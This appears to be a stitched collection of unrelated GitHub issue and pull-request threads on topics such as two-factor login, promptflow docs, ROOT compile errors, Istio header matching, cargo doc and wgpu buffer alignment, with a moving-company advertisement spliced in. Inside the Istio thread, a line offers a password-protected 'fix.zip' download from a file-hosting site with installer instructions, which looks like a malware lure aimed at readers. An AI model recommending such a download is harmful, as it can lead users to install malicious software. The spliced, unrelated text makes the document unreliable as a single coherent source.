#184752093 two-factor-authentication-for-seller

What does this PR do?
-Two Factor Authentication option is enabled on vendor login
-Appropriate error messages are returned on unsuccessful attempts
Description of Task to be completed?
-Two-factor authentication is enabled on vendor login
-OTP (one-time password) is generated and sent to the vendor via email with an expiration time by using the speakeasy library
-The vendor will use the generated OTP to be verified.
-If the verification succeeded, isVerified with be true and the vendor will be assigned a new token
How should this be manually tested?
-Clone the repo and checkout to ft-two-factor-authentication by typing git checkout ft-two-factor-authentication
-Install the packages by running "npm install"
-Create a .env file in the root directory and add all environment variables required to run the application. The required variables are listed in the .env.example file available in root directory of the application.
-Start the application development server: npm run dev
Any background context you want to provide?
-You need to have credentials for a vendor to be able to log in using the login route
-once you've received the OTP, use documented authorization routes
What are the relevant pivotal tracker/Trello stories?
#184752093

PR well structured ,but few error in description to refer to markup writing  ,like  on the section of clone the repo , command to switch to your repository  git checkout ft-two-factor-authentication , npm install,  creating .env file ,  mentioning env.example and the start command of npm run dev.


[BUG] Documentation not according to actual API spec

Describe the bug
On this docs page in Function based flow: https://microsoft.github.io/promptflow/how-to-guides/develop-a-flex-flow/function-based-flow.html#batch-run
... the docs say you can use the following code:
from path.to.module import my_flow
pf.run(flow=my_flow, data="./data.json;")

But that is actually clearly not implemented in the code on main:
https://github.com/microsoft/promptflow/blob/2eb9cb41fb04460ebe8790713b25decc799081a8/src/promptflow-azure/promptflow/azure/_pf_client.py#L289-L290
So we will want to: either update the docs or implement the functionality 😇

Hi @dunnkers , sorry for the misleading. The document refers to the local PFClient. For the local PFClient, we support executing a function as a flow. However, for the cloud PFClient, we currently do not support this feature. Because it's hard to determine all dependencies for the function and upload them to cloud. For local case, it's much easier since we can just reuse local environment.
Here's local PFClient's code for your reference:
https://github.com/microsoft/promptflow/blob/2eb9cb41fb04460ebe8790713b25decc799081a8/src/promptflow-devkit/promptflow/_sdk/_pf_client.py
You can create one with the following code:
from promptflow.client import PFClient
pf = PFClient()

hi! Ah okay I understand now. Thanks for the answer. Maybe we can clarify that in the docs?

Sure, we'll use this issue to track the doc update.

awesome , thx for the update @D-W- !


Removed Object#to_html.

I have removed Object#to_html because it conflicts with kramdown gem and also there are some issues reported in #151.
ActiveAdmin should avoid extending Ruby core classes.

+1
It would be great if this small patch were applied. It seems much cleaner and gets rid of the obnoxious warning messages in the console.

+1
Would really appreciate this patch. The log warnings in #151 make it impossible to debug anything in my app.

+1 This is not a behavior i expected when i added the gem.

+1

+1

Yes please

+1 - it also breaks the ruport gem, which uses to_html for formatting a report as HTML

I'm using the activeadmin 0.3.4 gem with Rails 3.0.11.

+1 for extreme values of 1

+1

+1

Hi guys, Sorry this one took me so long to get to. I merged it into master and removed any references in Arbre to to_html.
Relevant commits: 67e27b936acfc16c35184cd9fbd448a92aef9827 and 43bc2a874f7d3e42b05fb5e3102a5bc2868bb24c

this is sound good @gregbell!  Nice commits

oh, Huzzah!


Incompatibility with earlier ROOT versions

Describe the bug
I'm trying to install the latest versions of GRSISort and GRSIData on my CentOS 7 machine with ROOT v6.14.06 and I'm getting a few different errors. Some workstations at TRIUMF, including mine, are still using this setup.
On compiling GRSISort,
Compiling .build/libraries/TAnalysis/TGRSIFit/TGRSIFunctions.o[ERROR] libraries/TAnalysis/TGRSIFit/TGRSIFunctions.cxx: In function ‘double TGRSIFunctions::RacahW(double, double, double, double, double, double)’:  libraries/TAnalysis/TGRSIFit/TGRSIFunctions.cxx:499:48: error: ‘TGRSIFunctions::ROOT::Math’ has not been declared   return TMath::Power((-1), int(a+b+d+c))*ROOT::Math::wigner_6j(int(2*a),int(2*b),int(2*e),int(2*d),int(2*c),int(2*f));                                                 ^ libraries/TAnalysis/TGRSIFit/TGRSIFunctions.cxx:500:1: warning: control reaches end of non-void function [-Wreturn-type]  }  ^   make: *** [.build/libraries/TAnalysis/TGRSIFit/TGRSIFunctions.o] Error 1
It looks like the MathMore library that was included when I compiled ROOT doesn't have the wigner_6j function. I could try rebuilding root with a later version of GSL (I run 1.15 now) and that might fix this issue. However, in the interest of saving some time and since I don't need this functionality right away, I commented out the RacahW function and any references to it. This fixed the issue and I could compile GRSISort successfully.
Moving onto the GRSIData compilation, I get errors associated with the GetPointX() and GetPointY() functions part of the TGraph class.
For example, in TGriffinAngles.cxx,
Compiling .build/libraries/TGRSIAnalysis/TGriffin/TGriffinAngles.o[ERROR] libraries/TGRSIAnalysis/TGriffin/TGriffinAngles.cxx: In member function ‘void TGriffinAngles::FoldOrGroup(TGraphErrors*, TGraphErrors*, TGraphErrors*, bool) const’: libraries/TGRSIAnalysis/TGriffin/TGriffinAngles.cxx:135:33: error: ‘class TGraphErrors’ has no member named ‘GetPointX’     std::cout<<std::setw(8)<<z0->GetPointX(i)<<": "<<std::setw(8)<<z0->GetPointY(i)<<" "<<std::setw(8)<<z2->GetPointY(i)<<" "<<std::setw(8)<<z4->GetPointY(i)<<std::endl;                                  ^ libraries/TGRSIAnalysis/TGriffin/TGriffinAngles.cxx:135:71: error: ‘class TGraphErrors’ has no member named ‘GetPointY’     std::cout<<std::setw(8)<<z0->GetPointX(i)<<": "<<std::setw(8)<<z0->GetPointY(i)<<" "<<std::setw(8)<<z2->GetPointY(i)<<" "<<std::setw(8)<<z4->GetPointY(i)<<std::endl;                                                                        ^
There are other places where these GetPointX/Y functions (and their Set counterparts) are used e.g. util/AngularCorrelations.cxx which throws errors as well.
It looks like root v.6.14.04 TGraph class does not have these functions defined. It only has GetPoint() and SetPoint() which work with both (x,y) instead of just x or y co-ordinates at a time. These functions are also present in the later versions of root. As a personal, quick (?) fix, I'm thinking of rewriting these lines using GetPoint(). Slightly different implementation without any change in logic. Maybe there's better ways of doing it so I figured I'll post this issue here for others to weigh in.
And one more,
In file included from /opt/root_v6.14.06/include/TFile.h:26:0,                  from util/AngularCorrelations.cxx:1: /opt/root_v6.14.06/include/TDirectoryFile.h:99:24: note: virtual TDirectory* TDirectoryFile::mkdir(const char*, const char*)     virtual TDirectory *mkdir(const char *name, const char *title="");                         ^ /opt/root_v6.14.06/include/TDirectoryFile.h:99:24: note:   candidate expects 2 arguments, 3 provided
Again, TDirectoryFile.h in root 6.14.06 is different than in later versions. This got fixed when I dropped the boolean argument in line 284 of AngularCorrelations.cxx
To Reproduce
Try to compile under CentOS 7 with ROOT v6.14.06
Expected behavior
GRSISort and GRSIData compile with no errors.
Additional context
I've been using GRSISort v<IP_ADDRESS> all this while. Upgrading to the latest version to make use of the Angular Correlation Helpers.

Thank you for reporting these issues. The problem with using functions not available in older root versions is an old one, I think this will keep coming up until I can find an easy way to do test compilations with different ROOT versions. I am working on making GRSISort build with cmake, which should enable us to do this as a part of the GitHub actions whenever someone creates a pull request.
I'm a bit surprised by the problems with the wigner_6j function, because I did encounter that problem recently and added another check for the HAS_MATHMORE variable around it. But you are saying that your root version does have mathmore installed (meaning root-config --has-mathmore returns yes)?

I just checked this, and noticed the actual error for the wigner_6j function is because it tries to use TGRSIFunctions::ROOT::Math. I think this might be due to the NamespaceImp macro called at the beginning of the source file, but I'm not sure as I didn't find any documentation of that having been changed (and doing a vimdiff between the Rtypes.h files in 6.08.06 and 6.30.02 doesn't show a big difference).
But I moved the definition of that function to the header, and now that part at least compiles under 6.08.06.
I will check the other errors this is throwing and push all the changes once that version compiles as well.

Thanks Vinzenz. I'm being curious and this is possibly irrelevant - In the same source file TGRSIFunctions.cxx, the LegendrePolynomial() function also uses ROOT::Math but on compilation, it doesn't throw an error. If the issue is with the NamespaceImp macro, shouldn't this also throw errors?

Ah gotcha, that makes sense. Thanks for looking into GRSIData as well.

I added the changes (plus a few minor improvements and bug fixes). This should solve this issue, but the automatic closing done by GitHub might have been too early, so I re-opened it for now.
@rumashan can you please update your GRSISort and GRSIData to the newest versions and check that those compile on your system as well?

I checked your recent changes and both GRSISort and GRSIData compiled successfully. Thank you Vinzenz!
PS. The GRSISort compilation had a couple of minor warnings. In case you're interested in seeing what they are, I've attached my console output.
grsisort-compile.txt

Before this gets closed, I want to bring up something possibly related. I'm having some issues with running the standard ExampleEventHelper using GRSIFrame. I'm testing it on analysis20323_000.root which is an in-beam run from S1723 (Aug-2021) beamtime. I unpacked this run using the latest version of GRSISort
The Helper compiles successfully but crashes promptly after that. The output .root file does not contain any histograms. I don't see anything overtly wrong with the Helper or my Analysis Tree and I'm at a loss to what could be causing this. Apologies if it's a separate issue and should've been opened in a new thread.
Here is the terminal output after running grsiframe and also the output of ErrorReport.sh.
grsiframe-log.txt
error-report.txt


Option to ignore_case in route's header value matcher

Describe the feature request
I'd like to be able to ignore case of header value when I match based on it in virtualService.
Describe alternatives you've considered
Use an envoyfilter filter to convert case.
There is an envoy option to ignore case. Having this  exposed in virtualService stringMatch seems much better.
Affected product area (please put an X in all that apply)
[ ] Ambient
[ ] Docs
[ ] Dual Stack
[ ] Installation
[X] Networking
[ ] Performance and Scalability
[ ] Extensions and Telemetry
[ ] Security
[ ] Test and Release
[ ] User Experience
[ ] Developer Infrastructure
Affected features (please put an X in all that apply)
[ ] Multi Cluster
[ ] Virtual Machine
[ ] Multi Control Plane
Additional context

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@huzlak can you take it otherwise someone else may be interested with this too

Hi @howardjohn @keithmattix @mikemorris do you know if this configuration is being considered for Gateway API/GAMMA?
cc @ilrudie
Hi @huzlak adding ignore_case is possible, but we do want to align with the Gateway/GAMMA as that is the future of the networking API.

Chatted with @ilrudie offline a bit, and he kindly pointed out that we support re2 style matching, which supports case-insensitive.  With that, I think this issue could be resolved as there is a way to do this in Istio.
We could improve our doc to be a bit more clear to indicate we do support match case insensitive via re2.

For Gateway API/GAMMA, header matching is required to be case-insensitive, see docs at https://gateway-api.sigs.k8s.io/reference/spec/#gateway.networking.k8s.io%2Fv1.HTTPHeaderMatch

The GW API is about the header name, this is taking about the header value

The GW API is about the header name, this is taking about the header value

Oh thanks for clarifying @howardjohn, I read too quickly - yea agreed a RegEx match is the right way to handle case-insensitive value matching then. There's been a similar discussion about expanding the types of header matches but not much appetite for adding additional non-exact/RegEx configurations.

https://github.com/istio/api/pull/3304 was created to improve the doc

Thanks @ilrudie - i will close out this issue then.


Remove hardcoded folder

At the company I work for we have our reports organized in a hierarchical structure, for example.

/accounting/bank1/income
/accounting/bank2/income
/courses/invoice
/courses/grade_list

The code in this gem assumes every report is inside the reports folder, in our case this is not true. In order to use this gem we would have to move all our reports to the reports folder, for example.

/reports/accounting/bank1/income
/reports/accounting/bank2/income
/reports/courses/invoice
/reports/courses/grade_list

This is possible but impractical, we also would have to change every report call in all our codebase.
With this patch I propose to remove the hardcoded reports folder. Also, I assume someone else could benefit from this, which I think is a more general use case.

Tests are failing because the URI was changed.
How about we make this configurable or allow the DSL to specify the full URI to the report?

I apologized for the delay. I'll see if I can set aside from some time to get this implemented tonight as well as fix the tests.

Closing
See #4

Merged #4
Released on Rubygems as 0.4.0


photoViewerController: referencedViewForPhotoAt: never call

other methods in datasource called except "referencedViewForPhotoAt". I don't know why.

Sorry, First question is my fault because I set numberOfItems = 1. but after I tried more than 1. it will call when I scroll to next photo. As I see in example. it should call when user click close or swipe down to close a viewer. is that a bug?

@oniikal3 : This is my intention, we need to know the referenced view when you close the viewer controller so it will make a nicer transition.

I mean it should call when close the viewer controller. But for me it call whenever I swipe left/right to the next/previous images.
Thanks for your response

@oniikal3 : Yes, it should and I actually fixed that some time ago but I haven't published new version. I will do that asap.

Ok cool. Thanks :)

@oniikal3: I just released new version. Please check :)


cargo doc only direct dependencies

From #1529 I suggested the following

[...] but I'd like a way to have the docs generated for all of my direct dependencies, but not their dependencies. In fact I'd argue this should be the default behavior.
If I add a crate "bar" as a dependency of the crate I'm working on "foo", then I'd love to see both "foo" and "bar"s documentation. However, if "bar" needs "baz" I frankly couldn't care less, as that's the decision of "bar" and I shouldn't need to look up anything in "baz".

All this is to say, generate docs for dependencies in Cargo.toml, but not Cargo.lock.

This seems to hit the "Shared vs. Internal Dependencies" weakness pointed out in the wildcard dependencies RFC. Do you perhaps want to hide the crates that are just implementation details, no matter whose dependencies they are?

Yea that is even more ideal, in general is expect the docs generated to be "relevant" to a user of the crate. So internal crates can be ignored as well.

Maybe it would be even enough to just hide external dependencies from the side bar to remove visual and cognitive clutter?

My expectation (as a relatively new rust/cargo user) when running cargo doc is that doc would only be built for the crates in my Cargo.toml.
More often than not, transitive dependencies are more stable and well understood.
However the choice to have transitive would be good as sometimes I do want to dive that deep.
Just for context...
I ended up here after looking for a way to navigate crate src in vscode.

Just a workaround, you could use third-party tools like cargo-makedocs (crates.io / GitHub).

Just a workaround, you could use third-party tools like cargo-makedocs (crates.io / GitHub).

I tried the workaround, but it looks like cargo doc --no-deps removes all intradoc links to external crates, even if they are added back using -p <crate-name>. Since this appears to be the mechanism used by cargo-makedocs, it breaks all intradoc links to external crates, too.

A workaround for documenting direct dependencies:
cargo tree --depth 1 -e normal --prefix none | cut -d' ' -f1 | xargs printf -- '-p %s\n' | xargs cargo doc --no-deps
# become `cargo doc --no-deps -p <crate1> -p <crate2> -p <crate2>…`

Labelled as E-medium as it is not really hard in terms of coding. Feeding direct dependencies to rustdoc is sufficient I believe, as the above workaround shows we can use --package flag to achieve that. However, the interaction with rust -Zrustdoc-map needs more design spaces. And may also consider #2644 for the consistency between each subcommand.

It would be very useful if I could use a flag to do this instead of a workaround.

What I'd like is for the crates in my workspace to have docs generated for them, and for any other deps that are not in my workspace to be emitted with links to crates.io (assuming that rustdoc knows that the deps are hosted in that registry) as well as the main rust docs for the built-in types.
I don't believe that there is a solution for this currently; I'm open to hearing about workarounds that can achieve this!

What I'd like is for the crates in my workspace to have docs generated for them, and for any other deps that are not in my workspace to be emitted with links to crates.io (assuming that rustdoc knows that the deps are hosted in that registry) as well as the main rust docs for the built-in types.
I don't believe that there is a solution for this currently; I'm open to hearing about workarounds that can achieve this!

I believe this can be done with https://doc.rust-lang.org/nightly/cargo/reference/unstable.html#rustdoc-map which can be configured to link to docs.rs

As part of or after we get #6129, should we switch the behavior to document all of the public dependencies?


Sbt to Support Session Cookies on Ivy Resolve

steps

Set up a mvn repo (e.g. artifactory) that passes back a session cookie when artifacts are resolved.
Instruct sbt to use the repo for resolving dependencies.
Run a sample sbt build that requires artifacts to be resolved.
See that SBT doesn't respect the Set-Cookie header passed back from the repo.

notes

This behaviour is caused because the Apache Ivy BasicUrlHandler doesn't have any cookie support.
The effect of this can be to make artifact resolution unusably slow (in this case session cookie is used for authentication so by omitting the session cookie authentication now has to be performed on every request)
This definitely occurs on 0.13.  Unfortunately I can't easily test on 1.x, but having looked at the code I suspect that the issue would be the same as you've done a fairly straight port of  BasicUrlHandler, just using the Gigahorse client.
A fix in 1.x would be fine!

@eed3si9n
I've take a look at this and can confirm that this is still an issue on 1.x. I would propose the following fix- which I'm happy to implement if you're ok with it.  Changes would be made in sbt/librarymanagement

Create an implementation of okhttp3.CookieJar which stores cookies in memory and uses an accept-all policy.
Update line 218 of GigahorseURLHandler so it constructs the ok http client with a new instance of this cookie jar.

couple of notes:

CookieJar would probably better long term live somewhere lower down the stack (Gigahorse or OkHttp itself) as it seems pretty generic. For now, however, I'd propose leaving it in the sbt/librarymanagement project.
This change could be controlled by a system property which defaults to off if you want.  I'd personally prefer not to do this, but if you're worried it might break things for someone then we could go with that.
AFAICT there are no unit tests for GigahorseURLHandler so I wouldn't propose adding any for this change.  The cookie jar should be readily testable though.

Actually, rather than create our own cookie handler It'd probably be enough to just use OKHttp's JavaNetCookieJar so you'd end you with something like:
private lazy val okHttpClient: OkHttpClient = {
    http
      .underlying[OkHttpClient]
      .newBuilder()
      .authenticator(new JavaNetAuthenticator)
      .cookieJar(new JavaNetCookieJar(new CookieManager()))
      .followRedirects(true)
      .followSslRedirects(true)
      .build
  }

I am closing this since sbt 1.3.0 will switch to using Coursier.
Please reopen the issue there if this is still an issue.


Pin group support in MeasurementLink LabVIEW Client API

[x] This contribution adheres to CONTRIBUTING.md. (Required)
[x]  Automatically post PR comments with images for G code changes? (Recommended for small changes)

What does this Pull Request accomplish?

Certain pins can be grouped in a pin map based on the user's need. Hence, the LabVIEW MeasurementLink client supports the reservation of a group of pins by giving the pin group name instead of providing all the pins manually.
The LabVIEW MeasurementLink client API also supports getting the connection information for the given pin group name.
This PR doesn't contain the changes on the examples, but few tests are created to validate the pin group support.

Why should this Pull Request be merged?

To support the pin group input to get the connection reservation and connection information in LabVIEW measurements.

What testing has been done?

The existing 151 tests are passed locally.
7 new tests are added to validate the pin group feature.

@dixonjoel @jasonmreding,
I believe that the newly written test_ReserveSessionForPinGroup_ReceiveGroupMappingInformation.vi is failing in the server alone since the Spawning Pool is not updated with the latest MeasurementLink (installer version <IP_ADDRESS>6+d296).

@dixonjoel @jasonmreding, I believe that the newly written test_ReserveSessionForPinGroup_ReceiveGroupMappingInformation.vi is failing in the server alone since the Spawning Pool is not updated with the latest MeasurementLink (installer version <IP_ADDRESS>6+d296).

Passed in the latest run. Spawningpool is updated.

@dixonjoel @jasonmreding, I believe that the newly written test_ReserveSessionForPinGroup_ReceiveGroupMappingInformation.vi is failing in the server alone since the Spawning Pool is not updated with the latest MeasurementLink (installer version <IP_ADDRESS>6+d296).

Passed in the latest run. Spawningpool is updated.

Thank you for updating the SpawningPool

@jasonmreding @dixonjoel
I'm not sure what to do with the comments that Github actions have left. Should I simply click resolve for the Github actions Comments after your approval? Kindly guide me on this.

@jasonmreding @dixonjoel I'm not sure what to do with the comments that Github actions have left. Should I simply click resolve for the Github actions Comments after your approval? Kindly guide me on this.

Yes, for the comments related to diff images, you can just resolve them before submitting.


Worked on windows 7 then after upgrading to 10 I get an error when opening and I cant reinstall

error is

downloading the installer when clicking on the .exe nothing happens

Well... send me that log file... I am super bad at "remote guessing"

sure. I'm at school and I will upload it when I get back home. thank you for helping me with my issue

10022017_071841_438_PM_error.log
here you go

Seems like a Microsoft .NET Framework bug not realted to TL.
https://developercommunity.visualstudio.com/content/problem/55303/visual-studio-may-terminate-unexpectedly-when-runn.html
Try to update your Windows to the latest version or try
https://support.microsoft.com/en-in/help/4022716/windows-10-update-kb4022716
I don't know if that helps but there is nothing I can do on my side. Microsoft messed that one up, not me :)

That did not help me. I made sure I was on the latest version of windows and I could not download the update manually.

the "Microsoft Update Catalog" had nothing
But I read the error file on a whim and I saw  errors about
"Input.Stylus"
and
"Input.PenThreadPool"
So I unplugged my graphics tablet and that fixed the issue.
I didn't even have to restart my Computer. ?!?
I use twitch leecher SO MUCH that I wouldn't even be able to live without it. so i'm super glad I got it fixed. ty~


 We Professionalize In Long

FAST DELIVERY
NR Movers ensure our clients that we will move their stuff on the same day. This is one of the reasons why we are considered the best moving company in Abu Dhabi.
ITEM INSPECTION
NR Movers and Packers dubai offers an inspection home service without having to cost you a single dime. After our experts visit your place and carefully inspect your location,
BOXING SERVICE
Our expert team pack everything using best quality packing material like We provide all packing material free of cost. Team is also responsible for unpacking of households items.

BEST MOVING COMPANY IN DUBAI
NR Mover is one of the best moving companies in Dubai around the clock to satisfy consumer moving and packing services in Dubai. A company is willing to facilitate any changing requirements for its customers. Our moving services are as comfortable as they can be, and they pride themselves on offering low prices, which makes us one of the best moving companies in Dubai. What more do you wish for it?

MOVING COMPANY SERVICES IN DUBAI
Just a thought of hiring Movers Packers dubai makes us take a step back due to the high moving cost they charge from the customers for their services. But, opting for a DIY move makes the relocation an even more stressful and tiring task. So, rather than imaging things on your own, it is always better to get an estimate of the moving cost before you finally decide to move on your own.
The Packers and Movers Cost Calculator has made the decision-making process an easier one for the people. By entering just a few details of your move on the website, you can get your moving cost estimate within a few minutes.
Absolutely convenient and a hassle-free service to get approximate packers and movers charges and rates!!!


[spi_device] tx fifo not fully utilized

@eunchan
I found a minor issue.
In spi_device, we have async_fifo with 2 words depth. If I set the TX sram fifo to 2 words wide too, we can only save up to 3 words in these 2 fifos.
For RX, if I set RX sram fifo to 2 words wide, we can save 4 words data in fifos.
Not sure if we can update design to fully utilize the TX fifos and make it consistent with RX.
Here is the command to open the waveform.
cd /edascratch/weicai-opentitan/ot/spi_device.sim.vcs/spid_intr_test/0.spi_device_intr/out
verdi -ssr Verdi.ses &

Hi Weicai, Thanks for testing this first.
The reason is that the FIFO pointer is updated only after it writes the word into the FIFO. If it hit the full condition at the end of the write, then it waits until the FIFO is not full condition. I think current behavior is fine. The software only need to take care of the full condition of the SRAM FIFO.

Thanks @eunchan
Yes, software should only check the SRAM FIFO. It's not functional issue, but it will be easier for DV to model the behavior if TX FIFO can be fully utilized like RX.
Close this issue.


Make upload tile timeout configurable

Make upload tile timeout configurable

This would need to be configurable in each pipeline.yml that refers to this task as well as in the associated task.yml for this task.sh. Simply adding an environment variable isn't sufficient.
This should not be pulled in as-is.

Closing but will ensure moving forward we make setting this configuration option easier.


FALCON-2051 : PostProcessing needs to send JMS message so that REPL m…

Basically, reverted the FALCON-1926 changes.
We will attempt to solve it properly by not sending JMS message from Falcon PostProcessing after 0.10 release.

@peeyushb @pallavi-rao @bvellanki Please review.
Please ignore pull request 200. I will close that.

+1.

+1. Thanks @vramachan for working on this.

+1

+1

If no further comments, I will commit this patch soon.


create_buffer_with_data requires data to be a multiple of COPY_BUFFER_ALIGNMENT

The helper function create_buffer_with_data gives an error if the data it passes is not a multiple of 4.
Here is a reasonable use case for why I would want to do that:
I have an external model that includes vertices, normals, and indices of triangles.  These models are often written by others
     vertices_array = np.array(model.vertices, dtype=np.float32)
     vertices_buffer = device.create_buffer_with_data(vertices_array, usage=BufferUsage.VERTEX)
      . . .
     indices_array = np.array(model.indices, dtype=uint16)
     indices_buffer = device.create_buffer_with_data(indices_array, usage=BufferUsage.INDEX)
      . . .
     encoder.set_index_buffer(indices_buffer, "uint16")
     encoder.draw_index(len(indices_array))

This works fine, unless the model happens to have an odd number of indexes. In that case, the byte size of indices_array will not be a multiple of 4, and the code fails.
There are solutions around the problem, but they are not always pretty:

I can test the length of model.indices and add a junk element to the end if it is odd.  But note that this information belongs to someone else, and may be readonly.
I can just avoid using create_buffer_with_data, but perform the mapping myself.

But since create_buffer_with_data is a convenience function and not subject to a WebGPU specification, I think it's reasonable for it to always round up the size to a multiple of 4.  This could either (1) always be done, since it is invisible to the user or (2) be done if the user specifies allows_padding or something like that, indicating that they are aware of the problem.

I believe this should not be handled by wgpu-py. It is the responsibility of the user program to manage the byte data written to the buffer, including byte alignment, padding, and other considerations. Since this is a very low-level API, it should not make any assumptions about the content written to the buffer nor be responsible for it.
For example, vertex attributes need to be aligned to 4 bytes, while storage buffers and uniform buffers require 16-byte alignment (and their structure members also needing alignment according to the WebGPU specification).
Let's see what Almar thinks. :)

May I suggest a different fix that's more in the spirit of the API? Add a bytes argument. If omitted, it defaults to the size of the memory view. It must always be larger.
This would let me use create_buffer_with_data in cases where I have gotten the info from elsewhere and can't grow it.

I realize that this is a different implementation, but on my browser I tried:
> x = device.createBuffer({size: 6, usage: GPUBufferUsage.VERTEX, mappedAtCreation: true})

and it returned me a buffer, without complaint.

I realize that this is a different implementation, but on my browser I tried:
> x = device.createBuffer({size: 6, usage: GPUBufferUsage.VERTEX, mappedAtCreation: true})

and it returned me a buffer, without complaint.

Interesting, but the WebGPU specification explicitly states that this is incorrect.
See: https://www.w3.org/TR/webgpu/#dom-gpudevice-createbuffer

Moreover, when calling writeBuffer(), it is also required that the number of bytes written must be a multiple of 4.

I did a quick test on Chrome browser.

While the buffer object can be created, continuing to call the getMappedRange() method throws an error.
I suspect that before calling getMappedRange(), it is only a JavaScript object and has not actually created a GPU object.
However, regardless, I feel that Chrome's implementation of this API may not fully comply with the specification. 😅

I agree with @panxinmiao that alignment is ultimately the caller's responsibility. But I can also see that in a method like create_buffer_with_data() we can provide some convenience to make it easier for the user to manage alignment. My proposal would be a align_bytes arg that can be set to e.g. 4 or 16. Does that make sense @fyellin ?

Sure.  That sounds reasonable.  My original proposal, I suppose, was just to make align_bytes=4 be the default.  But I like the idea of making the user be responsible for it.
I can implement this, if you want.

I can implement this, if you want.

That would be great! 🙏

to make align_bytes=4 be the default.

Mmm, it's tempting, but I think better that the user must explicitly set it to use alignment. That way it's explicit that something related to alignment is happening. And easier for the user to spot why this works, and manual mapping does not.

@panxinmiao.  You are correct.  The only use case I have is an index buffer.  Programs that generate wire-frame models don't necessarily know that they are producing them for a GPU, and may not pad them appropriately.  This is the one case where the user is using external data rather than arrays that they are creating themselves.

Good point @panxinmiao !

I think I'm going to re-open this.  Over the weekend I looked at the C WGPU API and they handle this situation.  The documentation is that it gets rounded up to a multiple of 4.  Turns out to be easy to do.


Not supported Unicode symbols under Windows cmd.exe console

CMD doesn't have good support for Unicode. You can use Windows Terminal and PowerShell to get better support for Unicode characters.


Store null moves correctly in transposition table

The transposition table compresses null moves incorrectly, leading to them being incorrectly restored (h1h1). This shouldn't lead to any problems, however it's good practice to not lead null moves untreated and helps with debugging.

A simple solution would be to change the promotion field to 15 if the move is a null move.

Also it would be better for the transposition table to return an empty optional when failed to find a move instead of a null move.

Solved by #45


Cache retrieves incorrect data for multi connection queries

without cache:
> select count(*), account_id from aws_bob.aws_s3_bucket where versioning_enabled = true group by account_id
union all select count(*), account_id from aws_brent.aws_s3_bucket where versioning_enabled = true group by account_id
union all select count(*), account_id from aws_chuck.aws_s3_bucket where versioning_enabled = true group by account_id
union all select count(*), account_id from aws_craig.aws_s3_bucket where versioning_enabled = true group by account_id
union all select count(*), account_id from aws_deepak.aws_s3_bucket where versioning_enabled = true group by account_id
union all select count(*), account_id from aws_kate.aws_s3_bucket where versioning_enabled = true group by account_id
union all select count(*), account_id from aws_paul.aws_s3_bucket where versioning_enabled = true group by account_id
union all select count(*), account_id from aws_rafael.aws_s3_bucket where versioning_enabled = true group by account_id
union all select count(*), account_id from aws_raza.aws_s3_bucket where versioning_enabled = true group by account_id;
+-------+--------------+
| count | account_id   |
+-------+--------------+
| 26    |<PHONE_NUMBER>52 |
| 17    |<PHONE_NUMBER>44 |
| 17    |<PHONE_NUMBER>76 |
| 17    |<PHONE_NUMBER>56 |
| 17    |<PHONE_NUMBER>74 |
| 17    |<PHONE_NUMBER>12 |
| 17    |<PHONE_NUMBER>26 |
| 17    |<PHONE_NUMBER>72 |
| 17    |<PHONE_NUMBER>23 |
+-------+--------------+
Time: 16.6021332s
with cache turned on (which by the way is crazy awesome speeds).  The account_id is the same for each row
> select count(*), account_id from aws_bob.aws_s3_bucket where versioning_enabled = true group by account_id
union all select count(*), account_id from aws_brent.aws_s3_bucket where versioning_enabled = true group by account_id
union all select count(*), account_id from aws_chuck.aws_s3_bucket where versioning_enabled = true group by account_id
union all select count(*), account_id from aws_craig.aws_s3_bucket where versioning_enabled = true group by account_id
union all select count(*), account_id from aws_deepak.aws_s3_bucket where versioning_enabled = true group by account_id
union all select count(*), account_id from aws_kate.aws_s3_bucket where versioning_enabled = true group by account_id
union all select count(*), account_id from aws_paul.aws_s3_bucket where versioning_enabled = true group by account_id
union all select count(*), account_id from aws_rafael.aws_s3_bucket where versioning_enabled = true group by account_id
union all select count(*), account_id from aws_raza.aws_s3_bucket where versioning_enabled = true group by account_id;
+-------+--------------+
| count | account_id   |
+-------+--------------+
| 17    |<PHONE_NUMBER>23 |
| 17    |<PHONE_NUMBER>23 |
| 17    |<PHONE_NUMBER>23 |
| 17    |<PHONE_NUMBER>23 |
| 17    |<PHONE_NUMBER>23 |
| 17    |<PHONE_NUMBER>23 |
| 17    |<PHONE_NUMBER>23 |
| 17    |<PHONE_NUMBER>23 |
| 17    |<PHONE_NUMBER>23 |
+-------+--------------+
Time: 3.818ms```


problems with module es6

Hi,
I want to use React Template with es6.
I have this simple file that I want to convert thought React Template

Hello

but if I run ./node_modules/.bin/rt -m es6 hello.rt the build doesn't work and give me this output
error  this[stmt.type] is not a function
What am I doing wrong?

Hi,
I tried doing the exact same thing you did and it worked as expected.
Could you try again with the latest version (released today)?

I have found the cause of the problem. I'm using react-templatify, the suggested browserify extension and I have found that this extension force npm to install an older version of react-templates https://github.com/gja/react-templatify/blob/master/package.json#L8
Now it works.
Thank you for your support!


[Bug]: Reserved keyword are used in the code as identifier.

Is there an existing issue for the same bug?

[X] I have checked the existing issues.

Branch name
main
Commit ID
9b21b66
Other environment information
No response
Actual behavior
在增加对火山引擎的支持时，需要改动llm_app.py，用到了list内置函数，报错。
发现：有些python内置关键字被占用

以下是搜索发现：

Expected behavior
No response
Steps to reproduce
代码路径：ragflow/api/apps/llm_app.py
第 178 行

Additional information
No response

fixed.


PDF2Overlay created blank afp file

i was trying to using this function but every pdf i've input ,..
it created a blank afp ,..
there is no pdf inside the afp file ,...
can u help me to solve this ,..

Is this still on? Otherwise I close. I'd need some more information other than it does not work :)


[CLOSED] Contract testing for finders

 Issue by jamiecobbett
Tuesday 17 March 2015 at 12:34 GMT
Originally opened as https://github.com/alphagov/specialist-publisher/pull/447

I had to tweak the output slightly and some of the dummy data in the test to make
it valid. I've made a change in govuk-content-schemas to cover the
additional fields in specialist-publisher finders, hence the build failure. Once this is merged, it should pass: https://github.com/alphagov/govuk-content-schemas/pull/32

jamiecobbett included the following code: https://github.com/alphagov/specialist-publisher/pull/447/commits

 Comment by jamiecobbett
Tuesday 17 March 2015 at 15:34 GMT

Tests are now passing


Task - Link in system message is not underlined and no "Copy URL to clipboard" menu for link

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Version Number: 1.4.63-0
Reproducible in staging?: y
Reproducible in production?: n
If this was caught during regression testing, add the test name, ID and link from TestRail: n/a
Email or phone of affected tester (no customers):
Logs: https://stackoverflow.com/c/expensify/questions/4856
Expensify/Expensify Issue URL:
Issue reported by: Applause internal team
Slack conversation:
Action Performed:

Go to staging.new.expensify.com
